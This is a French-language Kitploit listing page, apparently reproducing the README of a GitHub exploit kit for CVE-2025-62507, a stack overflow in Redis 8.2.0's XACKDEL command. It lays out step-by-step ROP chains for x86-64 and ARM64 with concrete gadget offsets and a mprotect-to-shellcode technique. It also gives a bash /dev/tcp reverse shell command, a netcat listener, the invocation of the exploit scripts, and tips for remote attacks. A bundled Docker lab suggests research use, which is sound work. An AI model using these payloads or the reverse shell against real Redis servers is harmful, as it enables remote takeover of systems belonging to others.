Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
redis-cve-2025-62507 — Scripts d'exploitation pour CVE-2025-62507, un dépassement de tampon sur la pile dans Redis 8.2.0. Fournit des exploits de chaînes ROP pour x86-64 et ARM64 avec génération de shellcode pour des shells inversés, incluant le support du débogage GDB et un environnement vulnérable basé sur Docker. | Kitploit
Outils/GitHubGitHub/gartonchan/redis-cve-2025-62507
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationRétro-ingénierieShellcodeDébogueursApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Scripts d'exploitation pour CVE-2025-62507, un dépassement de tampon sur la pile dans Redis 8.2.0. Fournit des exploits de chaînes ROP pour x86-64 et ARM64 avec génération de shellcode pour des shells inversés, incluant le support du débogage GDB et un environnement vulnérable basé sur Docker.

GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

Voir le dépôt
il y a 2 moisPas encore vérifié
Partager

Scripts d'exploitation — CVE-2025-62507

Structure du répertoire

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

Résumé de la vulnérabilité

ÉlémentDescription
CVECVE-2025-62507
Type de vulnérabilitéDépassement de tampon de pile (Stack Buffer Overflow)
Composant affectéFonction xackdelCommand de Redis 8.2.0
Méthode de déclenchementCommande XACKDEL avec plus de 52 streamID
Technique d'exploitationChaîne ROP → mprotect déverrouille la permission d'exécution de la pile → shellcode reverse shell
DépendancesPython 3 (bibliothèque standard uniquement, aucune installation supplémentaire nécessaire)

Prérequis

  1. Environnement cible : conteneur Docker ou hôte exécutant Redis 8.2.0 (version vulnérable)
  2. Terminal d'écoute : la machine attaquante doit lancer nc -lvnp 4444 à l'avance pour attendre le reverse shell
  3. Permission d'obtention d'adresses : nécessite de pouvoir lire /proc/<PID>/maps du processus cible (privilèges root)
  4. Python 3 : les deux scripts d'exploit utilisent uniquement la bibliothèque standard (socket, struct, time, sys)

Démarrage rapide

1. Lancer le conteneur Redis vulnérable

root@kitploit:~
# Dans le répertoire racine du projet
docker compose -f docker-compose-vulnerable.yml up -d

# Vérifier que le conteneur tourne
docker ps | grep redis-cve-2025-62507

2. Obtenir les adresses mémoire critiques

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# Obtenir les adresses x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Remarque : Les adresses changent à chaque redémarrage du conteneur (ASLR), il faut les ré-obtenir.

3. Lancer l'écoute du reverse shell

root@kitploit:~
# Ouvrir un autre terminal sur l'hôte
nc -lvnp 4444

4. Exécuter l'exploit

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (adresses fixes Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — Exploit ROP x86-64

Utilisation

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Description des paramètres

Architecture de la chaîne ROP

root@kitploit:~
52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Décalages des gadgets (redis-server-8.2.0)

Adresse personnalisée du reverse shell

La variable reverse_shell_cmd est définie à la ligne 149 du script, la valeur par défaut est :

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Méthode de modification : éditez exploit_x86.py, trouvez la ligne reverse_shell_cmd et remplacez l'IP et le port :

Modification du port : remplacez 4444 dans /dev/tcp/<IP>/4444 par le port d'écoute réel.

stack_page est calculée dynamiquement à partir du paramètre stack_addr : (stack_addr + 0x1000) & ~0xFFF, garantissant que la fenêtre mprotect couvre la zone de pile où se trouve le shellcode. Si la disposition de la pile est anormale, ajustez en conséquence.


exploit_arm64.py — Exploit ROP ARM64

Utilisation

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Description des paramètres

Attention ARM64 : stack_addr est la valeur SP à l'entrée de xackdelCommand (pas l'adresse de début de la section [stack] !). static_ids[0] = stack_addr - 0x310, le x30 sauvegardé de call() se trouve à stack_addr + 8 (soit static_ids[49].seq).

Architecture de la chaîne ROP

root@kitploit:~
49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Clé : L'épilogue de call() restaure x19-x28 et lit plusieurs variables locales depuis la pile avant ret. Les ID#49-58 doivent contenir des valeurs sûres, sinon l'épilogue plantera pendant l'exécution. La chaîne ROP commence à partir de ID#59 (position SP après le ret de call()).

Décalages des gadgets (redis-server-8.2.0-arm64)

Décalages des gadgets (libc.so.6-arm64, dans le conteneur Docker)

Remarque : LDR_X1_SIDELOAD a un effet secondaire mov x0, x1 ; après exécution, x0 sera écrasé par x1 ! Utilisez ensuite G5 ou LDR_X0_CLEAN pour redéfinir x0.

Adresse personnalisée du reverse shell

reverse_shell_cmd est construite dynamiquement dans la fonction build_exploit_arm64() à partir des paramètres rev_shell_host et rev_shell_port :

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

Méthode recommandée : spécifiez l'adresse du reverse shell via les paramètres de ligne de commande :

root@kitploit:~
# Par défaut : 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# Adresse et port personnalisés du reverse shell :
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

Modification directe : éditez exploit_arm64.py et modifiez les valeurs par défaut des paramètres de la fonction exploit() :


Débogage GDB

Utilisation de gdb_with_symbols.sh

root@kitploit:~
# Obtenir le PID de Redis
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# Lancer GDB et définir automatiquement les points d'arrêt
./scripts/gdb_with_symbols.sh $REDIS_PID

Le script effectue automatiquement :

  1. Charge la table des symboles de binaries/redis-server-8.2.0
  2. Place un point d'arrêt sur xackdelCommand
  3. Place un point d'arrêt sur mprotect
  4. Place un point d'arrêt sur system

Positions clés des points d'arrêt

root@kitploit:~
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand

# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)

# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect

# system 调用前 — 验证 rdi 指向命令字符串
break system

Vérification des étapes clés de l'exploit

root@kitploit:~
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 观察 shellcode 执行
(gdb) x/20i $rsp                   # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30                   # ARM64: 跳转前的返回地址

Dépannage


Nettoyage de l'environnement

root@kitploit:~
# Arrêter et supprimer le conteneur
docker compose -f docker-compose-vulnerable.yml down

Références des fichiers

Télécharger l’outil
ParamètreSignificationMéthode d'obtentionExemple de valeur
redis_baseAdresse de base de l'ELF redis-serverAdresse de début de la première section de redis-server dans /proc/PID/maps0x555555554000
libc_baseAdresse de base de libc.so.6Adresse de début de la première section de libc.so dans /proc/PID/maps0x7ffff75b3000
stack_addrAdresse de début du segment de pile du threadAdresse de début du segment [stack] dans /proc/PID/maps0x7ffffffde000
GadgetDécalageDescription
pop rdi; ret0x82327Définit le 1er paramètre de mprotect (addr)
pop rsi; ret0x86416Définit le 2ème paramètre de mprotect (len)
pop rdx; ret0xba1e2Définit le 3ème paramètre de mprotect (prot)
call rsp0x9486dSaute vers le shellcode sur la pile
mprotect (libc)0x1019e0Déverrouille la page de pile en RWX
system (libc)0x4c490Exécute la commande du reverse shell
ScénarioIPDescription
Réseau Docker host (par défaut)127.0.0.1Le conteneur partage la pile réseau avec l'hôte, 127.0.0.1 est l'hôte
Réseau Docker bridge172.17.0.1Passerelle du pont par défaut, pointe vers l'hôte
Attaque à distance<IP publique de l'attaquant>La cible doit pouvoir router vers le port correspondant de l'attaquant
ParamètreSignificationMéthode d'obtentionExemple de valeur
redis_baseAdresse de base de l'ELF redis-server-8.2.0-arm64Adresse de début de la première section de redis-server dans /proc/PID/maps0xaaaaaaaa0000
libc_baseAdresse de base de libc.so.6-arm64Adresse de début de la première section de libc.so dans /proc/PID/maps0xfffff7630000
stack_addrValeur de SP à l'entrée de xackdelCommand (d'après l'analyse GDB)Observer SP à l'entrée de xackdelCommand avec un point d'arrêt GDB0xfffffffff7e0
rev_host(Optionnel) IP de l'attaquant pour le reverse shell—192.168.1.1
rev_port(Optionnel) Port d'écoute du reverse shell—4444
target(Optionnel) IP du Redis cible—192.168.1.129
GadgetDécalageFonctionConsommation de pile
G5 (ldp x19,x20 + ldr x0)0x1a4d40Charge x19, x0 depuis la pile0x30 (3 IDs)
G_SET_X2_70x1d7a84Définit w2=7, w1=-1 (effet secondaire)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), écrase x00x170 (23 IDs)
BLR_X30x92bc4blr x3 ; appelle mprotect0x30 (3 IDs)
GadgetDécalageFonctionConsommation de pile
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18] ; mov x0,x1 (effet secondaire!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18] ; sans effet secondaire0x20 (2 IDs)
mprotect0xe3ac0Modifie les permissions mémoire-
system0x49c24Exécute une commande shell-
ScénarioIPDescription
Réseau Docker host127.0.0.1Le conteneur partage la pile réseau avec l'hôte, 127.0.0.1 est l'hôte
Réseau Docker bridge172.17.0.1Passerelle du pont par défaut, pointe vers l'hôte
Machine virtuelle QEMU192.168.1.1Adresse de l'hôte dans le réseau QEMU
Attaque à distance<IP publique de l'attaquant>La cible doit pouvoir router vers le port correspondant de l'attaquant
SymptômeCause possibleSolution
ConnectionRefusedErrorRedis non démarré ou mauvais portVérifier l'état du conteneur avec docker ps, vérifier le port 6379
Redis ne plante pas, répond PONGNombre de remplissages insuffisant, adresse de retour non écraséeConfirmer le nombre correct d'ID de remplissage (x86: 52, ARM64: 49), vérifier la correspondance de la version binaire
Redis plante mais pas de connexion ncErreur de calcul d'adresseRé-obtenir /proc/PID/maps, vérifier que les décalages des gadgets correspondent au binaire
Échec d'analyse de streamParseStrictIDOrReplyFormat de streamID incorrectAssurez-vous d'utiliser le format ms-seq (entier non signé), éviter les nombres négatifs qui produiraient un double --
mprotect retourne non nulAdresse de pile non alignée sur la page ou plage invalideVérifier que stack_page est alignée sur 0x1000
ARM64 : str w2, [x0] plantex0 de G_SET_X2_7 ne pointe pas vers de la mémoire inscriptibleConfirmer que writable_addr pointe vers une zone de pile mappée
nc se déconnecte à répétitionIP:Port incorrect dans le shellcodeModifier reverse_shell_cmd dans le script, mettre une IP accessible depuis la machine attaquante
FichierDescription
scripts/exploit_x86.pyExploit RCE final x86-64
scripts/exploit_arm64.pyExploit RCE ARM64 (AArch64)
scripts/gdb_with_symbols.shScript d'aide pour le chargement des symboles GDB et les points d'arrêt
docker-compose-vulnerable.ymlOrchestration du conteneur Redis 8.2.0 vulnérable
binaries/redis-server-8.2.0ELF Redis x86-64 (avec table des symboles)
binaries/redis-server-8.2.0-arm64ELF Redis ARM64 (avec table des symboles)
binaries/libc.so.6libc x86-64
binaries/libc.so.6-arm64libc ARM64
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdDétails techniques complets de l'exploitation de la vulnérabilité x86-64
docs/ARM64_GADGET_CATALOG.mdCatalogue complet des gadgets ROP ARM64